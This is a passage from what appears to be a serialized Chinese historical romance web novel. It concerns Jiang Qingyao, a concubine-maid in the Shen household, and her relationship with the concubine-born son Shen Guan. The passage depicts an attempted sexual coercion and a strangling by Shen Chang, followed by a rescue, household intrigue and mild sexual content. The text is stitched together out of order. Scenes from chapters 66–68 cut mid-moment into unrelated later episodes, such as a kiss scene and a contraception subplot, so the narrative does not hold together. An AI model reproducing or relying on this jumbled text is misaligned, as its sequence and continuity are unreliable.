沈昶顿住,不耐烦起来。屋里孟夫人听小丫头耳语几句,恨不得扯沈昶在眼前打两下,但碍着江氏还在,只得道: “昨儿得了一块好墨,说着要给二郎拿去,还是忘了。” 江氏与八姑娘说话迟了几步,并不知院子里生了什么事,沈昶满脸郁色在进门时掩藏起来,江氏嗔道: “腿脚倒快,也不知等等我。” 江氏才怀了三个来月的胎,眼下满府正宠着,与沈昶说话也就放肆些。沈昶也笑: “这不是出去不见你,又折回来了。” 外头姜清杳早已惊惧一身冷汗,沈观垂头看她一眼,低声道: “走吧。” 他走在前,姜清杳跟在后,亦步亦趋,比头回跟他回去的时候跟的还要紧。沈观知道她心里发慌,这时候说两句宽慰的话能叫她安心,但他什么都没说。 姜清杳头回直面沈昶,明白了他的心思,不由惶惶。可这是沈家,不是南边的姜家,沈昶若有心,她难避开。何况如今她只是个庶子通房,真出了事,也只会怪她狐媚引诱爷们。 待到进了院子,沈观见月光下姜清杳惊惧模样越发娇怜,到底叹了口气: “二公子莽撞,往后避着他就是了。你不用怕,他不敢明目张胆做什么,自己小心些就是了。” 姜清杳顿时红了眼眶: “爷……” 声音轻颤,想说什么,但终究只是摇了摇头。沈观这处境,想护她也难,何况如今这样,沈观也未必愿意护着她。 姜清杳这一夜睡的不好,起的也就迟了,更没什么胃口。才收拾了,就有人敲院门: “姜姑娘在么?” 姜清杳探头见是个脸生的丫头,那丫头满脸不耐烦: “六爷在大书房,唤你过去伺候笔墨。” 姜清杳诧异: “六爷不是去书院了么?” “今儿书院休沐,爷们都在大书房读书呢,你快去吧。” 沈观有阿瓜,再不济还有采薇,很犯不上让旁人来传话。姜清杳怀疑起来,推脱道: “等我换换衣裳再去。” 丫头冷了脸: “你一个通房,伺候爷推三阻四,看咱们禀报芮妈妈有你好果子吃!” 这要叫孟夫人知道,只怕又生事端。姜清杳想去前院大书房这一路人都不少,想来也不会出什么事,遂交代冬儿两句就出来了。 一路上沈家仆从往来不少,姜清杳还是小心翼翼。等走过通连前后院的垂花门,就转上一条小道。小道很短,离垂花门又近,实在不是个做坏事的好地方,姜清杳紧走几步,眼见要出去了,忽然眼前一暗。 姜清杳下意识就顿住脚步,可迎头而来的人却往前凑,狭路相逢,她到底还是一头撞在那人肩上。 沈昶揉着肩,笑容意味深长的盯着姜清杳,一步一步前进,仿佛猎食的猛兽。 “姜姑娘急什么?都不看路,把爷肩头撞的这样疼,想是要青了。” 姜清杳一步步退,欲要转身就跑,却被他扯住一把胳膊。防她叫嚷,顺势也捂了嘴道: “若惊动旁人,我就说是你引诱我。你说老爷太太是信你还是信我?你在沈家这样,老爷还管不管你姜家的事?” 姜清杳惊恐无比,绝望的红了眼。但她仍旧狠命挣扎,往他钳制自己的手臂上狠狠抓去。沈昶急促道: “你从了我,我保你姜家的事顺顺畅畅。你也不必怕沈观,有我给你撑腰,他也得好好儿待你。” 姜清杳挣扎的越发厉害,沈昶眼见要惊动小道外头,怒不可遏,松开捂她嘴的手就往她细弱的颈子扼去。姜清杳顿时觉着一阵窒息,惊恐铺天盖地而来,她用力拍打抠挖沈昶扼她的手,但胸腔里的气息终究是越来越少。 沈昶狞笑: “你若死在这儿,也不会有人为你做主,你还是乖乖听我的话……” 话倏然而断,姜清杳也觉口鼻间忽然能涌入大量气息,失了挟制,她软软倒在地上,拼命大口呼吸。方才窒息充血红透了的眼睛也顿时蒙上一层泪光,她尚在窒息过后的惶恐迷蒙中,只看清身前站着一道人影。 哪怕眼前再模糊,也瞧清了那是谁。 “爷……六爷……” 姜清杳从来软嫩的声音这时候透着沙哑和委屈,甚至轻浅的叫人听不清。 沈观没有回头,只是肃冷着神情,直视沈昶。 沈昶冷不防被人一个手刀砍在臂上,疼的受不住松开手,就被人狠狠推开了。再然后,恼羞成怒的他看清来人,忍不住冷笑: “六郎,你是安心要与我作对了?” 沈观凑过来,亲了她的脸颊一下。 姜清杳愣了下。 沈观很得意,又装作好像方才偷偷亲了姜清杳一下的不是自己一样,问她:“是不是黑了?” 姜清杳咬唇,哼了一声:“是黑了,黑成炭了。” 沈观笑不出来了。 姜清杳眼睁睁的瞧着他只一秒的功夫从眉飞色舞变成恹恹不语。更想笑了。 小狗。 姜清杳突然又想把那个小玉狗送给他了。 第 66 章 第 66 章 那只玉雕小狗收在一个精巧的小匣子里。 姜清杳一翻就找到了,再看还是觉得很可爱,小小一只憨态可掬,放在手心里只有一点大。 少女捧在手心,朝沈观递了递,盈盈笑着,示意他接过去。 沈观讶了一瞬:“很精致。”少见能将这样小的玉料雕得如此精细。 少年下意识的将小玉狗翻着看看底座,看到镌印时,笑容僵在脸上。 果然。 他就说这样小的玉料。谁能雕得这么精致。 沈观看着她的笑品出嘲讽,垂下眼: “说这样的话,或许你会觉得我很自私。但这世上会对我好的人,并没有多少,每一个都弥足珍贵。我不是不珍惜你,只是采薇她……” 姜清杳忽的抽回手,转身要走,沈观却更快的伸开手臂扶在桥身,便将姜清杳困在了他与桥身之间的一方小小天地里,姜清杳甚至不可避免的,触在他的胸膛。 “你……” 姜清杳羞恼。 “听我把话说完,好么?” 难得他有了慌乱: “她从没骗过我,阿瓜也是。或许,或许是我并不知道,所以我一直相信,她对我是忠诚的。” “但事实上,她撒谎了么?” 沈观抿唇: “撒谎了。” 不仅如此,他眼神中的晦暗不明让姜清杳看不懂。 “撒谎,就是背叛,既然背叛,就不再是家人了……” 她从他声音听出决裂的痛苦,施姨娘过世后,他信任的人只剩下阿瓜和采薇,而如今,又少一个。在沈观心里,非黑即白,这样的性情或许并不算好,但以他在沈家的处境,却只能如此。 姜清杳也从这句话里听出了他对采薇的惩罚。而对于采薇而言,这样的惩罚并不算轻。姜清杳深深的吸了口气,慢慢的吐了出来。知道真相愿意改变,沈观还不算糊涂的无药可救。 沈观握在桥身上的手用力,白日砚台割破的伤口裂开淌血,姜清杳看着他鲜血淋漓的手,竟觉着此刻他心里也在鲜血淋漓。 “你要的清白,真相,公道,我都给你。你想要什么,我都可以给你。我只有一个需求……” 沈观竟哀求道: “不要撒谎,不要骗我,永远都不要……” 他极度的没有安全感。 而他之所以会这样,与他的经历相关。姜清杳看着这样的沈观,鼻尖酸涩。她才红了眼眶,沈观便将她纳入怀里: “姜清杳,只要你不骗我,我可以把什么都给你。” 姜清杳皱着眉,怎么会有人,这么苦呢? 他的怀抱温暖且柔软,但他将温暖柔软给了她,对着外人的背脊却是坚硬冷漠。一如她才踏入他的院子时,他的疏离。他在保护自己,用这种笨拙但有效的办法。 “爷,您的手。” 姜清杳捧过他的手,可光影昏暗并瞧不清,将他带去旁边馆子,透着里头油灯的光,姜清杳依稀看到伤可见骨,顿时急了。 索性笔墨纸砚都择了买好,沈观看她选的认真,不住问老板,嘴角不觉带出笑来。不同以往,柔软而温暖。老板见只是小娘子在忙,郎君却站在一旁傻笑,也就笑着同沈观道: “公子真是好福气!” 沈观点了点头: “嗯,好福气。” 姜清杳顿时红了脸。 等回到小院儿,阿瓜与冬儿都等在院子。阿瓜看二人神色不错,沈观还提着笔墨纸砚,顿时笑着上前接了,冬儿也簇着姜清杳往东厢回。姜清杳回头看沈观,沈观笑道: “时辰不早了,快歇着去吧。” 姜清杳才要走,采薇从正屋出来了。看见姜清杳,脸色凝滞了一下,但很快又笑了,柔弱道: “爷这时候才回来,叫我好是担心。” “随我来。” 冬儿见沈观竟与采薇和颜悦色,还叫采薇与他一同回正屋,顿时愤愤。姜清杳也不知沈观会如何处置采薇,但把冬儿拽回去了。 阿瓜放好东西带上门出去了,沈观才在书桌后坐了,采薇就红着眼道: “哥哥,你受委屈了,都这样了,还得把她接回来。” 沈观看着她,抿了抿唇角: “你不是一直想搬到这个院子来住么,明日搬去西次间吧。” 采薇惊喜不已,破涕为笑,沈观却道: “搬进来后,谨守规矩。我在的时候,侍奉我,我不在的时候,侍奉姜姑娘。” 采薇惊愕,慌张的笑: “她,她只怕不要我伺候。” “我记着三等丫头,做的是洒扫浣洗之类的粗活儿,往后分内的事,总要做好。” 采薇愕然: “哥哥,你答应过姑母,会好好照应我的!” “我没有好好照应你么?你自问这些年,我可曾亏待过你?哪怕自己局促,也从未让你受过难,这沈家上下,哪个丫头能过你这样的日子?采薇,人的痴心妄想,也总要有个限度。” “你为了姜氏,你为了姜氏……” “对,我就是为了她。” 采薇的哭声很大,东厢听的清楚。冬儿往正屋张望,问姜清杳: “姑娘,六爷会怎么罚她?” “他是心里有数的人,咱们不必费心。” 归根结底,这事她算是最大的受害者,而沈观也勉强算是个受害者,尽管他的受害与他自己的糊涂有关。冬儿的高兴就简单多了,她有种看狗咬狗的通快感。 采薇哭了好半晌,但沈观并不像从前那样哄她,冷漠的态度让她心慌,她渐渐止了哭声,畏惧的看着沈观。沈观冷漠疏离的问: “你去春晖阁做什么。” “我没……” 沈观沉沉眼光看过来,采薇撒谎的话生生咽下去,她畏惧的哭: “芮妈妈,芮妈妈只是问了姜氏的事,我想着根本不会妨害爷,才告诉她的。爷,我不敢不听话,她会打死我的!” 所以第二天,姜清杳就被叫去春晖阁磋磨了。因为她没有听话的引诱他。 “是你同絮春说了姜氏在春晖阁?” “是,是。” “你为什么要和她说。” “絮春,絮春那日说,二爷睡梦里唤了几声姜氏。” 沈观忽然笑了一下,眼底是风雨欲来的晦暗。 “爷,我知错了,我往后再也不敢了。爷!” 采薇膝行过去攀在沈观腿上,沈观没有赶走她,只是冷冷笑着: “一次不忠,百次不容。我只与你提过一个要求,既然做不到,就不必再做了。看在你身上淌着施家的血,我从前答应你的,还做数。” 可采薇听过这些后,却脱力的坐在了地上。 他曾经答应,会给她觅一门亲事,送她出门。可她想跟着他,想做官妾啊……她不想过苦日子!若不是为了争宠,她何必对付姜氏? 正屋渐渐归于平静,姜清杳也睡下了。 第二天一早,沈观就去书院了。巳时前后,采薇有些神情恍惚的在搬东西。忙碌过后,采薇在西次间枯坐一日,黄昏沈观回来,她顿时又有了精神,往沈观跟前去凑,但自始至终,沈观一眼也没看她。 沈观去春晖阁请安的时候,阿瓜与冬儿在院子角落嚼舌根。 “爷他不容人撒谎,出了阿言的事后,他只与我们提了这一样要求。采薇她不光撒谎了,若姜姑娘真……真遭了罪,姜姑娘可怜,必也不能留在沈家了。” 阿瓜没说出口的话还有,若处置不好,恐怕沈姜两家要交恶,沈观的脸面也丢的彻底。 冬儿也想不少,除了暗骂采薇几句,想后来听说沈昶那夜还带着两个孔武有力的小厮,若真是她等姜清杳出来,只怕主仆两个都要遭难。亏得沈观来了,叫她先回去。 阿瓜不知姜家的事,她知道。姜清杳要真被沈昶欺负了,姜泰恐怕会与沈家拉锯,在最恰当的时间提出最有利的条件,可以让沈家下台阶,也可以让姜家牟利。譬如,让沈昶将姜清杳收做外室。 冬儿一阵恶寒。想到这儿,对沈观的埋怨也浅了许多。 这一场风波后,沈观显然待姜清杳不同起来。每日晚饭都一处吃,看书时也叫她陪着研墨,倒把阿瓜清闲出来了,镇日与冬儿在院子里嚼舌根。 所幸姜清杳也是个喜静的,沈观不需她研墨的时候,她就坐在角落,有时候做些针线活儿,有时候看些闲书,安静的仿佛并不存在,丝毫不打搅沈观。 如此到了九月中,沈观一早出门没多久,春晖阁便再度派人来叫姜清杳。 孟夫人的急切她能想象得到,但就是不明白,沈观只是庶子,哪怕考中又如何?终究越不过嫡子。可人在屋檐下不得不低头,她如上回一般,在春晖阁一留整日。 这次照例午后绣花,却是在外稍间。正绣着花,也不知时辰,就听外头小厅里传来沈观的声音: “太太若没什么事,我便先带姜氏回去了,我屋里不少事还须得她操持,离不开她。” 姜清杳恍然抬头,看窗外天色未沉,看来沈观是才从书院回来,得知她在春晖阁,就立刻来接她了。忍不住抿了抿嘴,心里甜丝丝的。 孟夫人见沈观对姜清杳上心,喜上心头,痛快的把人放走了。才出春晖阁,沈观就拉住她的手: “你要是累了,就靠着我走。” 姜清杳挣了挣,没挣开他的手,羞恼道: “快松开,人来人往的……” 沈观笑了笑,却握的更紧了。姜清杳知道他用意,他在人前待她越亲近,孟夫人就越放心。等走过岔路口,沈观同姜清杳道: “过几日休沐,趁着天气不错,咱们去西郊逛逛,那儿有好大一片荷塘,正是结莲蓬的时候。荷塘的主人还开了家小酒馆儿,在一片桂花林里。我想着采些桂花,拿蜜腌了,等冬天你吃粥的时候拌上,肯定好吃。” 听着就像吃过了似的,满心香甜,姜清杳忍不住笑了笑,又劝道: “也不急,荷塘桂花又跑不了,明年去也行。二月就会试了,爷安心看书的好。” “近日总觉浮躁,许多原本看过的书都忘了,新看的又总读不透,我想着,跟我急躁有关,也想趁机出去疏散疏散。” 姜清杳就不再劝了,二人渐渐走远,另条路上走出的人站在路口看他二人渐渐远去的背影,意味深长的笑了笑: “西郊?” 他盯着沈观拉着姜清杳的手,再看姜清杳的背影,满眼贪婪。 九月底,沈观休沐,一早就叫阿瓜去租了马车,四人一同出了门。马车出城,姜清杳撩起车帘,秋天的风吹着人干爽舒泰,沈观容她解了会儿馋,就把帘子放下了。 “风已经有些凉了,小心些好。” 马车上姜清杳提早备的点心茶水,一路有阿瓜和冬儿凑趣,倒也不觉无聊,走了将近一个时辰才到,还没下马车,姜清杳就嗅到了浓郁的桂花香甜。 冬儿先从马车上跳下来,看着整片的桂花林,高兴不已。 桂花林外还停着一架极为阔大的马车,看来今日这桂花林与荷塘的客人,并不止是他们。 这日子,比她想的好些。久之,舒服惬意,就更少的去想要和离的事情了。 再比如沈观的不知节制,也让姜清杳很苦恼一番。为此问过许多次,沈观总是半真半假道,因为得偿所愿。姜清杳好奇追问,沈观却不肯说了。 只是在姜清杳抗拒几次后,发奋看了许多姜清杳勒令他不许看的东西,学了些能让清杳开心的法子,不再只是一身莽劲儿撞了,清杳慢慢觉出些滋味,便没那么抗拒了。 再比如今天。 姜清杳着实想不出来沈观主动要避孕的缘由。 也不想自己胡思乱想的猜了。 等沈观回来的时候,还找来小伍问了。小伍得过沈观的吩咐,只要不是和他很早便心悦清杳的事儿有关,一般都不会瞒着姜清杳。 冷脸侍卫说:“那回夫人和公子随行去了皇宫春猎回来,公子便吩咐我去买了。” 第 67 章 2000营养液加更 小伍这样一说。 姜清杳便想起来了。 自从前段时间从皇宫春猎回来,沈观虽看着和平日无异,但夜里节制一些,几次过后,少年替姜清杳擦洗时,还会格外注意将那些清理出来。 姜清杳羞于看,也累极,从没细想过。 等再过几日,沈观便又一如往常了。 现在想起来,正和小伍说得对上了。应当是得了小伍买来的药,便不怎么注意了。 姜清杳确认过,知道不会冤枉了沈观了,底气更足些。 沈观并没回他,但护卫的姿态十足。 姜清杳看他坚毅伟岸的背影,极致的惊恐过后,就是无以复加的依赖。沈观就是她的救命稻草。她伏在地上,瑟瑟发抖,捂着嘴强忍哽咽。 这时候除了沈观她只能想到不能出声,倘或惊动旁人,沈昶只要反咬一口,她就百口莫辩。 沈昶见并没威吓住沈观,转而利诱道: “六郎,你房里人冲撞了我。你该知道,我是个眼里揉不得沙子的人,她是你房里人,这罪责我也只能记在你头上。不过……我也不是不讲理的人,你让她给我赔罪,伺候我一天,这事也就过去了。你想要的书,想要的笔墨纸砚,我都能给你。” 姜清杳一眼不错的盯着沈观,她看不见沈观的神情,但总算听见了沈观贯来淡漠的声音。 “你这心思,倒不如说给老爷听。” 沈昶冷笑陡然僵在脸上。昨日他才被孟夫人敲打,知道了老爷有意结交姜家的事。他原想着也是唬着姜清杳自己咽下这事不敢声张,但偏偏就被沈观撞破了。他咬牙切齿: “好啊,六郎,你可真是好啊。” 他指了指沈观,恶意太过明显。但到底忌惮,愤愤而去。 沈观这才回头,看满脸是泪的姜清杳惊惶无措。他过去扶她起来: “我告诉过你了,要小心些。” 姜清杳浑身发软的哽咽: “是您叫我去大书房伺候的。” “我没让人叫你。” 姜清杳陡然僵住了,她怀疑过,但终究因为畏惧孟夫人,还是屈服了。更想着青天白日里,不会出这些龌龊的意外。 “永远不要把自己的安危寄托在旁人的良知上。” 姜清杳腿一软,不受控制往沈观怀中倒去。这一下谁也没防备,沈观正说话,忽然温香软玉在怀。他愕然了一下,低头去看惊慌退离的姜清杳。 “爷,我,我腿软……” 她怕沈观以为她在故意趁机引诱。 沈观在短暂的愕然过后,蹙眉看她颈子上通红的痕迹,想方才那古怪的触感,朝外头唤了一声: “阿瓜。” 阿瓜从小道外跑进来,一头的汗。 “去大书房把我的书取回来。” 阿瓜嘟囔,原来沈观去大书房读书,特意交代阿瓜守在院子外,见有不妥就去寻他。阿瓜不知道发生了什么事,但沈观交代的差事他总得办好。 “走吧。” 沈观将姜清杳的衣裳往上提了提,遮住她颈子上的痕迹,便朝外走去。姜清杳亦步亦趋的跟着,强撑着发软的腿脚。她现下最需要一个信赖的人陪在身旁才能安心,而无疑沈观是她在沈家里,唯一且只能信任的人。 况且沈观为了她,才与沈昶直面一回,在她昨日才卑劣的猜测过他后。 这一路上,沈观的背影让她熟悉在心,她忍不住一次一次看过去,而每次看过,心底的依赖又多加一层。及至回到小院儿,她才要进东厢,却被沈观叫过去了。 姜清杳才踏入外稍间,沈观就从里屋出来,拿着一盒药膏。 “过来。” 姜清杳乖乖过去,沈观挖了药膏: “抬头。” 姜清杳抬头,很快凉腻的触感在颈间,引得她一阵战栗,连睫毛都在颤抖。而沈观指下的柔嫩也让他生出了些许古怪的念头。他的目光从她颈子上的伤渐渐移转到她脸上,看她哪怕慌张也低垂的眼睛。 这张脸,这幅身子,无疑都是诱人的。 但可惜了,包藏祸心。或许包藏的不是她的祸心,但终究是有。 “明日托病吧,不然旁人问起,你要如何解释?” 沈观声音中带了些许他自己都没觉察到的温柔,姜清杳咬住嘴唇,她没法解释。因为没人会为她做主,甚至会维护脸面,而将所有罪责推在她一人身上。姜泰尚且要仰仗沈家,也是决计不会为她出头的。 沈观给她的伤细细的上了药,将药膏又地给她。 “回去歇会儿吧,往后真要小心些了。” 姜清杳听话的结果盒子,双手捧着的模样无比乖巧。沈观看她回到东厢,下意识叹了口气,然后皱了皱眉,就往书柜去寻书去了。 姜清杳回到东厢,带着伤,这事也就瞒不过冬儿了。冬儿害怕的厉害,姜清杳再三交代,此事断不可传扬出去,冬儿恨恨咬牙的咒骂沈昶。姜清杳躺在床上,努力平复自己。 但是脑海中却一遍又一遍的浮现沈观立在她身前的背影,那样坚决,那样叫人觉着安心,以及温暖。 初秋的天干燥且还热着,尤其这一遭后,姜清杳只觉喉咙又疼又干,让冬儿往大厨房跑一趟,她静下心后,就往正屋去了。 采薇白日一般都不在院子里,只有早晚才过来伺候。姜清杳想秋燥,沈观这院子位置也不好,闷热的很,他苦心读书,她没什么能做的,至少伺候好茶水笔墨。 只是才迈过小厅到外稍间门口,就看见书桌后的沈观并不是坐着,而是扎着马步,一边看书一边批注,额头颈间俱凝着汗珠,但他笃志凝神,眼神坚毅。 姜清杳诧异了一下,心头陡然慌跳起来。 这时候的沈观无疑是叫人心动的,她捂着嘴转身出来,站在门口只觉脸颊发热。 难怪沈观能从沈昶手中,轻易就解救了他。分明瞧起来沈昶粗壮,可沈观却是清瘦的。他全不似读书人的文弱,原来是这般熬炼体魄磨炼情志。但这般显然对于毅力的要求,越发的高了些。 怎么会有像他这样的郎君呢?又怎么能叫人不心动呢? 姜清杳在檐下盯着院子里的枇杷树良久,才总算平复下来。采薇这时候却忽然来了,姜清杳见她进了院子,就提了提衣襟,将颈子遮掩。 采薇见她在正屋门口站着,变了变神色,待进去见沈观苦读,转头又出来了,与她并立檐下。 “昨儿夜里老爷动了大怒,责骂谢姨娘,不许她再出入书房了,这事儿你知道么?” 姜清杳不知道,但老爷和谢姨娘的事,与她没什么干系。采薇见她摇头,又道: “二爷院子也不宁静,昨儿夜里二爷收了个通房,还是二少夫人的陪嫁,二少夫人为这事恼着呢,这会儿还闹的厉害。” 姜清杳皱眉,采薇瞧他神情,忽然凑过来悄声道: “听说二爷睡梦里,唤了两声姜氏。” “慎言!” 姜清杳顿时变了脸色,沈昶对姜清杳的心思那是绝不能宣之于口的丑事,偏采薇见她这般,还以为捏住了她的把柄。 采薇正得意,冬儿回来了,姜清杳从她手里接过茶,采薇嗅到薄荷梅子的气味儿。这些东西她们在大厨房是从来要不到的,妒忌猛然升起,她拦住姜清杳: “姜氏,六爷二月就会试了,你那点小心思,我劝你还是收起来吧。” “什么心思?送个茶就是有心思了?那你每日给爷送茶,又是什么心思?还是说你若不在,爷就只能渴着?” “你!” 采薇气节,姜清杳已越过她进去了。她跟进去,只见姜清杳轻着手脚倒茶,送到书桌后,就悄悄退出来了。 姜清杳出来后并没理会采薇,与冬儿回东厢后交代她: “等黄昏凉快些,你出去给老爷带个话,让他预备着见大人。还有咱们从南边儿带来的腌菜,你同老爷要两坛子,尤其大头菜多要些,还有香油酱醋,盐巴之类的,也买些回来。” 冬儿意会,等去见姜泰时,先说了见大人的话,趁姜泰高兴又说起沈观房里寒酸境况,添油加醋,尤其房里还有个做丫头的表妹。 第二天半晌午,崔婆子得了冬儿昨日嘱咐,等在角门,姜家人敲开门,又送来了许多东西。有些是姜泰从南边带来的,有些是今早才吩咐人出去采买的。 除了姜清杳要的腌菜,还有不少茶叶补品之流,甚至还有一个精致的红泥碳炉,配着红泥砂锅,几篓细碳。这是姜清杳交代冬儿暗示出来的结果,沈观苦读,她总得叫他饮食上舒坦些,但吃个汤喝个茶都得去大厨房要,委实不便。 午后姜清杳就在檐下立起炉子炖了陈皮莲子绿豆羹,炉火边一身汗,换衣裳时听见院儿里脚步声响,知是沈观回来了。 姜清杳换好衣裳出来,正在檐下盛羹的时候,阿瓜过来了,探头看一眼,冷笑道: “姜姑娘待爷可真殷勤。” 阴阳怪气,姜清杳没理会他。阿瓜便去大门口等厨房的人送晚饭,一边走一边嘟囔: “见天儿使这种见不得人的手段,把旁人当傻子糊弄。把爷衣裳弄坏了,一句好话也没,亏得采薇绣了墨梅……” 姜清杳往正屋去时,正听见了这些话。 沈观照旧的看书入迷,吃了几口才发觉不对,看了碗,又看姜清杳。他垂下眼,很快吃过饭,就往书桌旁去了。 “爷今儿不去请安?” “太太今日去孟府了。” 沈观往砚台注水,急促的研墨,溅出几滴墨水,姜清杳捏住墨,沈观顿了一下,就松开手。她一边研,沈观一边批注。 “好了。” 姜清杳放好墨,才要出去不扰他看书,他头也没抬又淡淡道: “你对采薇是不是有什么误会?” 姜清杳顿住身形。 他的语调淡漠至极,能叫人明显感到责怪。采薇昨儿才在她这儿言语间吃了小小一个亏,沈观今日就说这样的话。 “爷……” “不管有什么,我都希望你放下成见。采薇贯来稳妥,不是个生事的人。” 她不生事?几次三番,哪回不是她生事?方才阿瓜还说起她弄坏沈观的衣裳,采薇绣了墨梅。但这两件事没一件对的,看着沈观淡漠眼底显然的责备,姜清杳看向他身上的墨梅: “爷,我绣的墨梅,您喜欢吗?” 沈观蹙眉,显然没想到这墨梅是姜清杳绣的。姜清杳看着他: “墨不是我泼在您衣裳上的,是采薇来夺……” “这又有什么干系?” 沈观动了气: “我并没有因为误会是她绣的墨梅就奖赏,也并没因为误会是你泼了墨而惩罚,所以是谁泼的墨,是谁绣的花,有那么重要么?” 姜清杳哑口无言,他不在乎真相,只是不想采薇受委屈。事在她头上,他便责怪。或许是采薇掀起是非,他就这样维护。 姜清杳觉着憋屈极了,眼前这人真是昨日将她护在身后的人? 看姜清杳眼眶红了,沈观越发不耐: “你先下去吧。” 姜清杳转头就走了,沈观起笔,照旧看书批注。他不喜欢有人在这种时候扰他读书,也不喜欢沈家的人对付采薇和阿瓜。 姜清杳心里哽的难受,从正屋出来就瞧见端茶过来的采薇,红着眼,却面有得意。显然在此之前,采薇是来哭诉委屈了。 少女下意识的顺着沈观的视线往下瞧。 姜清杳:!!! 她都没有碰到过他。连手都没拉呢! 少女咬牙,揪着沈观的耳朵凑到他耳边大喊:“我刚才和你那么严肃!!” 坏沈观! 姜清杳又气又恼,拿着那把竹尺打了他一下手心。 沈观等了一会儿,见姜清杳也没有要再打的意思了。便试探着去牵她的手。 姜清杳眼睫颤了颤,没有躲。 第 68 章 第 68 章 今日的天气不错。 晴空万里,院中的花都盛开着,阳光洒下来,夏意盎然,隐隐有蝉声。该是个心情也和天气匹配的日子。 可姜清杳觉得很糟糕。 沈观将书房的门窗关得紧紧的。分明是白日,可糊窗的纸只能透进一点沉闷的光。和外面的天朗气清截然不同。 且姜清杳这会儿格外后悔她方才没有躲开沈观的牵手。 以至于这会儿,少女咬着沈观的肩,将上面咬出深深的牙印来,少年向上莽撞的力道也分毫不减,甚至还更兴奋起来。 姜清杳体会到了什么是自食苦果。 姜清杳顿住,病中的沈观声音里没了往日的淡漠严肃,屋里只她二人,姜清杳觉着这句话该是说她的。可她没回头: “不敢。” 沈观看她赌气的样子: “采薇是有些小性子,但心肠不坏。你初来乍到,搅了她的心神,她才会失分寸。你就别同她计较了。” 这算是同她解释?可话里话外,还在维护采薇。 姜清杳就后悔花出去的银子,还不如让他病死算了。沈观却又道: “你身上有茉莉花的味道,很好闻。” 姜清杳的脂粉是掺了茉莉花粉,头油也是茉莉头油,她用的少,气味淡,但方才沈观与她近身相贴,这味道自然嗅的清楚。姜清杳顿时红了脸,回头去看,沈观已合上眼。 阿瓜在外稍间吃了药,这会儿天色已沉,阿瓜还要在外稍间守夜,防着沈观病中需要照顾。但走路都脚步虚浮,姜清杳只叫冬儿把他撵回西厢,但也不能真就丢个病人在这儿,看来今夜只能她守夜了。 阿瓜见她来守,这才安心。外稍间的小榻还是从前书房的小榻,冬儿将小榻铺了,姜清杳催促她快些回去歇着。 折腾的时辰不早,她也累了,吹熄蜡烛,只留了寝屋角落一支,她也躺下了,很快就睡过去了。也不知睡了多久,就听见屋里有人说话。姜清杳忽就醒了坐起来,仔细辨认,竟是沈观的声音,她忙跑进去,看他好好躺在床上,屋里再没别人。 “阿娘,阿娘……” 姜清杳怔了一下,沈观这是烧糊涂了,做梦了?她迟疑的过去,看沈观满头是汗,不安的扭头皱眉: “你别走,阿娘……” 姜清杳看见沈观眼角流泪,手在不住颤抖。这样的沈观叫人心疼,她探手过去,沈观立刻握住她的手,如同溺水的人攀上浮木,当做救命稻草一般。 沈观掌心滚烫,姜清杳去摸他的额头,竟比入睡前烧的更厉害了。但她才贴了沈观额头,沈观忽就睁开眼,一双迷蒙的眼睛盯着她看了好半晌,才总算渐渐清明。他看清了床前的人,手忽的松开了,姜清杳讪讪的要收回手,可才动,就又被抓住了。 沈观的眼神不过清明了一瞬,就又迷蒙起来。 “阿言把我骗去京郊,推进河里。采莲在我衣裳里藏针,那根针整个扎进皮肉,嵌在骨头里。阿娘,你告诉我,沈家的人,我还能信谁……” 姜清杳心里惊涛骇浪,沈观口中的两个人,她从崔婆子嘴里听说过。 起先沈观房里是与其他公子一样,配着两个小厮两个婢女。阿言与采莲就是,都是从小就跟在他身边的,但他八九岁的时候,二人不知什么缘由都调走了,原来竟是因为这样? 沈观皱眉,疼痛难忍的样子,他撩起中衣露出后腰,姜清杳就看到了一个疤痕。看来是坐下时,整根针毫无预警就扎进去,而为了拔出这根嵌进骨头的针,留下了这个拇指大的疤痕。 沈观忽然挣扎起来,姜清杳忙按着他,这一身的汗,若掀被子再透了风可怎么好?但没想沈观病中还这样大力气,姜清杳按不住,只得低声呼喊: “爷,您醒醒?我是姜氏啊……” 不知唤了多少声,姜清杳按的都出汗了,沈观才总算停下来,他转头看向姜清杳,眼神带着不解: “你,你怎么在这儿?” 这是醒了。 姜清杳松口气: “喝水么?” 出那么多汗,不喝水是要虚脱的。但奇怪的是,出过汗衣裳湿透后,他竟又烧起来了。 “还是得请个郎中再瞧瞧。” 姜清杳送了杯温水给他,他喝过才道: “哪那么快就好了,慢慢来就是了。明日你替我去春晖阁请安吧,书院也得告个假。阿瓜呢?” “阿瓜也病了,在西厢睡着呢。” 沈观沉沉应了一声,又陷入昏睡。 但哪怕如此,他也不肯屈服。最终养成了这幅不摧不折的清冷性情。 姜清杳忽然意识在,在沈观的心里,他房里人与沈家人,是分开的。而她介于之间,沈观护着她,却又不允许她损害阿瓜与采薇分毫。 姜清杳心情复杂。 她不喜欢把她视作外人的沈观,却又不得不佩服他,甚至心疼他。 与沈观对比,姜清杳虽也是庶出,可从小到大,其实是没吃过多少苦的。 姜清杳十岁那年,白氏用一匹堪称惊才绝艳的浣花锦,换来一纸放妾书,离开姜家了。自此六年不见踪迹,连姜清杳这个亲女儿,也一眼没再来瞧过。 姜泰想做皇商的奢望,也是从那匹浣花锦来的。因那匹锦,姜家被内务府采办瞧上,给宫里供过一回锦缎。而这回能有资格遴选皇商,也因曾给宫里供过锦缎。 那匹白氏留下的浣花锦,如同镇店之宝,镇在姜家布庄。 崔婆子说过沈观的生母施姨娘是从小服侍在沈尚书身边的,孟夫人怀沈昶时,收做通房,一直等有了沈观才抬了姨娘。她性子软糯,是个什么都不敢计较的人,被几个姨娘打压,很快就没了抬头的趋势。孟夫人针对他们母子,却是在沈观初初展露天分的时候。 开蒙做的第一篇文章,沈观做的极好,沈昶却写的不尽如人意。沈尚书若只训斥沈昶两句也就罢了,或单赞沈观也无所谓,偏训斥沈昶后,又赞了沈观,甚至叫沈昶多与弟弟学学。 这叫孟夫人怎么能忍。沈观比沈昶甚至还小三岁,沈观开蒙时,沈昶已然读了三年书了。一个庶子却压过了嫡子。 姜清杳下半夜就没好睡,早起时熬药给沈观喂了,这会儿沈观已烧的昏睡不醒,她匆匆去春晖阁请安,芮妈妈见姜清杳来了,面有憔悴,又不见沈观,有些诧然,姜清杳见礼请安后赔罪: “太太,六爷昨儿受了寒,回来就病倒了,今儿书院也去不得了。连阿瓜也病了,烦请太太安置个人,替六爷告个假。” 孟夫人上下看姜清杳两眼,眼底渐有笑意: “不是什么大事,让二郎去书院帮着告个假就是了。倒是六郎现下如何了,请郎中来瞧了么?” “昨儿瞧过了,也用了药,但不知怎的,不见好,反倒越发重了。” 